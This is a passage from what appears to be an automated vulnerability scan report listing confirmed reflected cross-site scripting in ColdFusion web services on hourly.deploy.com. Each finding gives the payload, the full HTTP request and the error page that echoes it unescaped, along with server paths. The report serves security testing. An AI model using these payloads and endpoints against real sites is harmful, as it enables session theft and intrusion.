onKeyPress="checkEnter();"></td> </tr> <tr> <td width="100" class="fieldLabel">Password:</td> <td><input name="j_password" type="password" tabindex="2" title="Password" size="25" maxlength="25" onKeyPress="checkEnter();"></td> </tr> <tr> <td colspan="2" height="20" align="center">

<table id="loginBtn" class="Button" height="19" border="0" cellpadding="0" cellspacing="0" align="center">

<tr>
<td class="flexbtn_l"></td>
<td class="flexbtn_m" nowrap>

<a access= "1" class="flexbtn_m" tabindex="3" href="javascript:document.form1.submit();"

title="Login >" >

  Login >  

</a>
</td>
<td class="flexbtn_r"></td>
</tr>

</table>
</td> </tr> </tbody> </form> </table> </td> </tr> </table> </td> </tr></table>

</TD>
<TD class="FlexBox_right"></TD>
</TR>

<TR>
<TD class="FlexBox_ll"></TD>
<TD class="FlexBox_bot"></TD>
<TD class="FlexBox_lr"></TD>
</TR>
</TABLE>

<p> </p></body></html>

- /webservices/responseService.cfc

/webservices/responseService.cfc CONFIRMED

https://hourly.deploy.com/webservices/responseService.cfc?method=%3E%3CiMg%20src=N%20onerror=alert(9..

Parameters

Parameter	Type	Value
method	GET	><iMg src=N onerror=alert(9)>
response_id	GET	3

Request

GET /webservices/responseService.cfc?method=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&response_id=3 HTTP/1.1
Referer: https://hourly.deploy.com/hmc/javascript/response.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:50:43 GMT
Server: Apache/2.0.46 (Red Hat)
server-error: true
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:50:43 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

</TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></CODE></COMMENT></DEL></DFN></DIR></DIV></DL></EM></FIG></FN></FONT></FORM></FRAME></FRAMESET></H1></H2></H3></H4></H5></H6></HEAD></I></INS></KBD></LISTING></MAP></MARQUEE></MENU></MULTICOL></NOBR></NOFRAMES></NOSCRIPT></NOTE></OL></P></PARAM></PERSON></PLAINTEXT></PRE></Q></S></SAMP></SCRIPT></SELECT></SMALL></STRIKE></STRONG></SUB></SUP></TABLE></TD></TEXTAREA></TH></TITLE></TR></TT></U></UL></VAR></WBR></XMP>

<font face="arial"></font>

<html>
<head>
<title>Error Occurred While Processing Request</title>

<script language="JavaScript">
function showHide(targetName) {
if( document.getElementById ) { // NS6+
target = document.getElementById(targetName);
} else if( document.all ) { // IE4+
target = document.all[targetName];
}

if( target ) {
if( target.style.display == "none" ) {
target.style.display = "inline";
} else {
target.style.display = "none";
}
}
}
</script>

</head>
<body>

<font style="COLOR: black; FONT: 16pt/18pt verdana">
The web site you are accessing has experienced an unexpected error.<br>
Please contact the website administrator.

</font>
<br><br>
<table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7">
<tr>
<td bgcolor="#000066">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
The following information is meant for the website developer for debugging purposes.
</font>
</td>
<tr>
<tr>
<td bgcolor="#4646EE">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
Error Occurred While Processing Request
</font>
</td>
</tr>
<tr>
<td>
<font style="COLOR: black; FONT: 8pt/11pt verdana">

<table width="500" cellpadding="0" cellspacing="0" border="0">
<tr>
<td id="tableProps2" align="left" valign="middle" width="500">
<h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana">
The method '><iMg src=N onerror=netsparker(9)>' could not be found in component /var/www/html/applications/webservices/responseService.cfc.
</h1>
</td>
</tr>
<tr>
<td id="tablePropsWidth" width="400" colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Check to ensure that the method is defined, and that it is spelled correctly.
</font>
</td>
</tr>
<tr>
<td height> </td>
</tr>

<tr>
<td colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Resources:
<ul>

<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debugging Settings, and select the Robust Exception Information option.</li>

<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li>
<li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>

</ul>
<p>
</td>
</tr>

<tr>
<td colspan="2">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Browser  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Remote Address  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">173.193.214.243</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Referrer  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">https://hourly.deploy.com/hmc/javascript/response.js</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">23-Jul-11 12:50 PM</td>
</tr>
</table>
</td>
</tr>
</table>

</font>
</td>
</tr>
</table>
</body></html>

- /webservices/questionService.cfc

/webservices/questionService.cfc CONFIRMED

https://hourly.deploy.com/webservices/questionService.cfc?method=%3E%3CiMg%20src=N%20onerror=alert(9..

Parameters

Parameter	Type	Value
method	GET	><iMg src=N onerror=alert(9)>
trait_id	GET	3

Request

GET /webservices/questionService.cfc?method=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&trait_id=3 HTTP/1.1
Referer: https://hourly.deploy.com/hmc/javascript/script_trait.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:50:55 GMT
Server: Apache/2.0.46 (Red Hat)
server-error: true
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:50:55 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

</TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></CODE></COMMENT></DEL></DFN></DIR></DIV></DL></EM></FIG></FN></FONT></FORM></FRAME></FRAMESET></H1></H2></H3></H4></H5></H6></HEAD></I></INS></KBD></LISTING></MAP></MARQUEE></MENU></MULTICOL></NOBR></NOFRAMES></NOSCRIPT></NOTE></OL></P></PARAM></PERSON></PLAINTEXT></PRE></Q></S></SAMP></SCRIPT></SELECT></SMALL></STRIKE></STRONG></SUB></SUP></TABLE></TD></TEXTAREA></TH></TITLE></TR></TT></U></UL></VAR></WBR></XMP>

<font face="arial"></font>

<html>
<head>
<title>Error Occurred While Processing Request</title>

<script language="JavaScript">
function showHide(targetName) {
if( document.getElementById ) { // NS6+
target = document.getElementById(targetName);
} else if( document.all ) { // IE4+
target = document.all[targetName];
}

if( target ) {
if( target.style.display == "none" ) {
target.style.display = "inline";
} else {
target.style.display = "none";
}
}
}
</script>

</head>
<body>

<font style="COLOR: black; FONT: 16pt/18pt verdana">
The web site you are accessing has experienced an unexpected error.<br>
Please contact the website administrator.

</font>
<br><br>
<table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7">
<tr>
<td bgcolor="#000066">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
The following information is meant for the website developer for debugging purposes.
</font>
</td>
<tr>
<tr>
<td bgcolor="#4646EE">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
Error Occurred While Processing Request
</font>
</td>
</tr>
<tr>
<td>
<font style="COLOR: black; FONT: 8pt/11pt verdana">

<table width="500" cellpadding="0" cellspacing="0" border="0">
<tr>
<td id="tableProps2" align="left" valign="middle" width="500">
<h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana">
The method '><iMg src=N onerror=netsparker(9)>' could not be found in component /var/www/html/applications/webservices/questionService.cfc.
</h1>
</td>
</tr>
<tr>
<td id="tablePropsWidth" width="400" colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Check to ensure that the method is defined, and that it is spelled correctly.
</font>
</td>
</tr>
<tr>
<td height> </td>
</tr>

<tr>
<td colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Resources:
<ul>

<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debugging Settings, and select the Robust Exception Information option.</li>

<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li>
<li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>

</ul>
<p>
</td>
</tr>

<tr>
<td colspan="2">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Browser  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Remote Address  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">173.193.214.243</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Referrer  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">https://hourly.deploy.com/hmc/javascript/script_trait.js</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">23-Jul-11 12:50 PM</td>
</tr>
</table>
</td>
</tr>
</table>

</font>
</td>
</tr>
</table>
</body></html>

- /webservices/questionService.cfc

/webservices/questionService.cfc CONFIRMED

https://hourly.deploy.com/webservices/questionService.cfc?method=%3E%3CiMg%20src=N%20onerror=alert(9..

Parameters

Parameter	Type	Value
method	GET	><iMg src=N onerror=alert(9)>
questionText	GET	3

Request

GET /webservices/questionService.cfc?method=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&questionText=3 HTTP/1.1
Referer: https://hourly.deploy.com/hmc/javascript/question.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:51:19 GMT
Server: Apache/2.0.46 (Red Hat)
server-error: true
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:51:19 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

</TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></CODE></COMMENT></DEL></DFN></DIR></DIV></DL></EM></FIG></FN></FONT></FORM></FRAME></FRAMESET></H1></H2></H3></H4></H5></H6></HEAD></I></INS></KBD></LISTING></MAP></MARQUEE></MENU></MULTICOL></NOBR></NOFRAMES></NOSCRIPT></NOTE></OL></P></PARAM></PERSON></PLAINTEXT></PRE></Q></S></SAMP></SCRIPT></SELECT></SMALL></STRIKE></STRONG></SUB></SUP></TABLE></TD></TEXTAREA></TH></TITLE></TR></TT></U></UL></VAR></WBR></XMP>

<font face="arial"></font>

<html>
<head>
<title>Error Occurred While Processing Request</title>

<script language="JavaScript">
function showHide(targetName) {
if( document.getElementById ) { // NS6+
target = document.getElementById(targetName);
} else if( document.all ) { // IE4+
target = document.all[targetName];
}

if( target ) {
if( target.style.display == "none" ) {
target.style.display = "inline";
} else {
target.style.display = "none";
}
}
}
</script>

</head>
<body>

<font style="COLOR: black; FONT: 16pt/18pt verdana">
The web site you are accessing has experienced an unexpected error.<br>
Please contact the website administrator.

</font>
<br><br>
<table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7">
<tr>
<td bgcolor="#000066">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
The following information is meant for the website developer for debugging purposes.
</font>
</td>
<tr>
<tr>
<td bgcolor="#4646EE">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
Error Occurred While Processing Request
</font>
</td>
</tr>
<tr>
<td>
<font style="COLOR: black; FONT: 8pt/11pt verdana">

<table width="500" cellpadding="0" cellspacing="0" border="0">
<tr>
<td id="tableProps2" align="left" valign="middle" width="500">
<h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana">
The method '><iMg src=N onerror=netsparker(9)>' could not be found in component /var/www/html/applications/webservices/questionService.cfc.
</h1>
</td>
</tr>
<tr>
<td id="tablePropsWidth" width="400" colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Check to ensure that the method is defined, and that it is spelled correctly.
</font>
</td>
</tr>
<tr>
<td height> </td>
</tr>

<tr>
<td colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Resources:
<ul>

<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debugging Settings, and select the Robust Exception Information option.</li>

<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li>
<li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>

</ul>
<p>
</td>
</tr>

<tr>
<td colspan="2">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Browser  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Remote Address  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">173.193.214.243</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Referrer  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">https://hourly.deploy.com/hmc/javascript/question.js</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">23-Jul-11 12:51 PM</td>
</tr>
</table>
</td>
</tr>
</table>

</font>
</td>
</tr>
</table>
</body></html>

- /webservices/questionService.cfc

/webservices/questionService.cfc CONFIRMED

https://hourly.deploy.com/webservices/questionService.cfc?method=%3E%3CiMg%20src=N%20onerror=alert(9..

Parameters

Parameter	Type	Value
method	GET	><iMg src=N onerror=alert(9)>
entity	GET	3

Request

GET /webservices/questionService.cfc?method=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&entity=3 HTTP/1.1
Referer: https://hourly.deploy.com/hmc/javascript/question.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:51:24 GMT
Server: Apache/2.0.46 (Red Hat)
server-error: true
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:51:24 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

</TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></CODE></COMMENT></DEL></DFN></DIR></DIV></DL></EM></FIG></FN></FONT></FORM></FRAME></FRAMESET></H1></H2></H3></H4></H5></H6></HEAD></I></INS></KBD></LISTING></MAP></MARQUEE></MENU></MULTICOL></NOBR></NOFRAMES></NOSCRIPT></NOTE></OL></P></PARAM></PERSON></PLAINTEXT></PRE></Q></S></SAMP></SCRIPT></SELECT></SMALL></STRIKE></STRONG></SUB></SUP></TABLE></TD></TEXTAREA></TH></TITLE></TR></TT></U></UL></VAR></WBR></XMP>

<font face="arial"></font>

<html>
<head>
<title>Error Occurred While Processing Request</title>

<script language="JavaScript">
function showHide(targetName) {
if( document.getElementById ) { // NS6+
target = document.getElementById(targetName);
} else if( document.all ) { // IE4+
target = document.all[targetName];
}

if( target ) {
if( target.style.display == "none" ) {
target.style.display = "inline";
} else {
target.style.display = "none";
}
}
}
</script>

</head>
<body>

<font style="COLOR: black; FONT: 16pt/18pt verdana">
The web site you are accessing has experienced an unexpected error.<br>
Please contact the website administrator.

</font>
<br><br>
<table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7">
<tr>
<td bgcolor="#000066">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
The following information is meant for the website developer for debugging purposes.
</font>
</td>
<tr>
<tr>
<td bgcolor="#4646EE">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
Error Occurred While Processing Request
</font>
</td>
</tr>
<tr>
<td>
<font style="COLOR: black; FONT: 8pt/11pt verdana">

<table width="500" cellpadding="0" cellspacing="0" border="0">
<tr>
<td id="tableProps2" align="left" valign="middle" width="500">
<h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana">
The method '><iMg src=N onerror=netsparker(9)>' could not be found in component /var/www/html/applications/webservices/questionService.cfc.
</h1>
</td>
</tr>
<tr>
<td id="tablePropsWidth" width="400" colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Check to ensure that the method is defined, and that it is spelled correctly.
</font>
</td>
</tr>
<tr>
<td height> </td>
</tr>

<tr>
<td colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Resources:
<ul>

<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debugging Settings, and select the Robust Exception Information option.</li>

<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li>
<li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>

</ul>
<p>
</td>
</tr>

<tr>
<td colspan="2">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Browser  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Remote Address  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">173.193.214.243</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Referrer  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">https://hourly.deploy.com/hmc/javascript/question.js</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">23-Jul-11 12:51 PM</td>
</tr>
</table>
</td>
</tr>
</table>

</font>
</td>
</tr>
</table>
</body></html>

- /webservices/questionService.cfc

/webservices/questionService.cfc CONFIRMED

https://hourly.deploy.com/webservices/questionService.cfc?method=%3E%3CiMg%20src=N%20onerror=alert(9..

Parameters

Parameter	Type	Value
method	GET	><iMg src=N onerror=alert(9)>
client_id	GET	3

Request

GET /webservices/questionService.cfc?method=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&client_id=3 HTTP/1.1
Referer: https://hourly.deploy.com/hmc/javascript/adr_overview.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:52:56 GMT
Server: Apache/2.0.46 (Red Hat)
server-error: true
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:52:56 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

</TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></CODE></COMMENT></DEL></DFN></DIR></DIV></DL></EM></FIG></FN></FONT></FORM></FRAME></FRAMESET></H1></H2></H3></H4></H5></H6></HEAD></I></INS></KBD></LISTING></MAP></MARQUEE></MENU></MULTICOL></NOBR></NOFRAMES></NOSCRIPT></NOTE></OL></P></PARAM></PERSON></PLAINTEXT></PRE></Q></S></SAMP></SCRIPT></SELECT></SMALL></STRIKE></STRONG></SUB></SUP></TABLE></TD></TEXTAREA></TH></TITLE></TR></TT></U></UL></VAR></WBR></XMP>

<font face="arial"></font>

<html>
<head>
<title>Error Occurred While Processing Request</title>

<script language="JavaScript">
function showHide(targetName) {
if( document.getElementById ) { // NS6+
target = document.getElementById(targetName);
} else if( document.all ) { // IE4+
target = document.all[targetName];
}

if( target ) {
if( target.style.display == "none" ) {
target.style.display = "inline";
} else {
target.style.display = "none";
}
}
}
</script>

</head>
<body>

<font style="COLOR: black; FONT: 16pt/18pt verdana">
The web site you are accessing has experienced an unexpected error.<br>
Please contact the website administrator.

</font>
<br><br>
<table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7">
<tr>
<td bgcolor="#000066">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
The following information is meant for the website developer for debugging purposes.
</font>
</td>
<tr>
<tr>
<td bgcolor="#4646EE">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
Error Occurred While Processing Request
</font>
</td>
</tr>
<tr>
<td>
<font style="COLOR: black; FONT: 8pt/11pt verdana">

<table width="500" cellpadding="0" cellspacing="0" border="0">
<tr>
<td id="tableProps2" align="left" valign="middle" width="500">
<h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana">
The method '><iMg src=N onerror=netsparker(9)>' could not be found in component /var/www/html/applications/webservices/questionService.cfc.
</h1>
</td>
</tr>
<tr>
<td id="tablePropsWidth" width="400" colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Check to ensure that the method is defined, and that it is spelled correctly.
</font>
</td>
</tr>
<tr>
<td height> </td>
</tr>

<tr>
<td colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Resources:
<ul>

<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debugging Settings, and select the Robust Exception Information option.</li>

<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li>
<li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>

</ul>
<p>
</td>
</tr>

<tr>
<td colspan="2">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Browser  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Remote Address  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">173.193.214.243</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Referrer  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">https://hourly.deploy.com/hmc/javascript/adr_overview.js</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">23-Jul-11 12:52 PM</td>
</tr>
</table>
</td>
</tr>
</table>

</font>
</td>
</tr>
</table>
</body></html>

- /webservices/responseService.cfc

/webservices/responseService.cfc CONFIRMED

https://hourly.deploy.com/webservices/responseService.cfc?method=%3E%3CiMg%20src=N%20onerror=alert(9..

Parameters

Parameter	Type	Value
method	GET	><iMg src=N onerror=alert(9)>
question_id	GET	3

Request

GET /webservices/responseService.cfc?method=%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E&question_id=3 HTTP/1.1
Referer: https://hourly.deploy.com/hmc/javascript/response.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hourly.deploy.com
Cookie: JSESSIONID=2630aaffa7c9434d5d31
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Sat, 23 Jul 2011 16:52:59 GMT
Server: Apache/2.0.46 (Red Hat)
server-error: true
Vary: Accept-Encoding,User-Agent
Content-Encoding:
Cache-Control: max-age=0
Expires: Sat, 23 Jul 2011 16:52:59 GMT
Connection: close
Content-Type: text/html; charset=UTF-8

</TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></CODE></COMMENT></DEL></DFN></DIR></DIV></DL></EM></FIG></FN></FONT></FORM></FRAME></FRAMESET></H1></H2></H3></H4></H5></H6></HEAD></I></INS></KBD></LISTING></MAP></MARQUEE></MENU></MULTICOL></NOBR></NOFRAMES></NOSCRIPT></NOTE></OL></P></PARAM></PERSON></PLAINTEXT></PRE></Q></S></SAMP></SCRIPT></SELECT></SMALL></STRIKE></STRONG></SUB></SUP></TABLE></TD></TEXTAREA></TH></TITLE></TR></TT></U></UL></VAR></WBR></XMP>

<font face="arial"></font>

<html>
<head>
<title>Error Occurred While Processing Request</title>

<script language="JavaScript">
function showHide(targetName) {
if( document.getElementById ) { // NS6+
target = document.getElementById(targetName);
} else if( document.all ) { // IE4+
target = document.all[targetName];
}

if( target ) {
if( target.style.display == "none" ) {
target.style.display = "inline";
} else {
target.style.display = "none";
}
}
}
</script>

</head>
<body>

<font style="COLOR: black; FONT: 16pt/18pt verdana">
The web site you are accessing has experienced an unexpected error.<br>
Please contact the website administrator.

</font>
<br><br>
<table border="1" cellpadding="3" bordercolor="#000808" bgcolor="#e7e7e7">
<tr>
<td bgcolor="#000066">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
The following information is meant for the website developer for debugging purposes.
</font>
</td>
<tr>
<tr>
<td bgcolor="#4646EE">
<font style="COLOR: white; FONT: 11pt/13pt verdana" color="white">
Error Occurred While Processing Request
</font>
</td>
</tr>
<tr>
<td>
<font style="COLOR: black; FONT: 8pt/11pt verdana">

<table width="500" cellpadding="0" cellspacing="0" border="0">
<tr>
<td id="tableProps2" align="left" valign="middle" width="500">
<h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana">
The method '><iMg src=N onerror=netsparker(9)>' could not be found in component /var/www/html/applications/webservices/responseService.cfc.
</h1>
</td>
</tr>
<tr>
<td id="tablePropsWidth" width="400" colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Check to ensure that the method is defined, and that it is spelled correctly.
</font>
</td>
</tr>
<tr>
<td height> </td>
</tr>

<tr>
<td colspan="2">
<font style="COLOR: black; FONT: 8pt/11pt verdana">
Resources:
<ul>

<li>Enable Robust Exception Information to provide greater detail about the source of errors. In the Administrator, click Debugging & Logging > Debugging Settings, and select the Robust Exception Information option.</li>

<li>Check the <a href='http://www.macromedia.com/go/proddoc_getdoc' target="new">ColdFusion documentation</a> to verify that you are using the correct syntax.</li>
<li>Search the <a href='http://www.macromedia.com/support/coldfusion/' target="new">Knowledge Base</a> to find a solution to your problem.</li>

</ul>
<p>
</td>
</tr>

<tr>
<td colspan="2">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Browser  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Remote Address  </td>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">173.193.214.243</td>
</tr>
<tr>
<td><font style="COLOR: black; FONT: 8pt/11pt verdana">Referrer  </td>
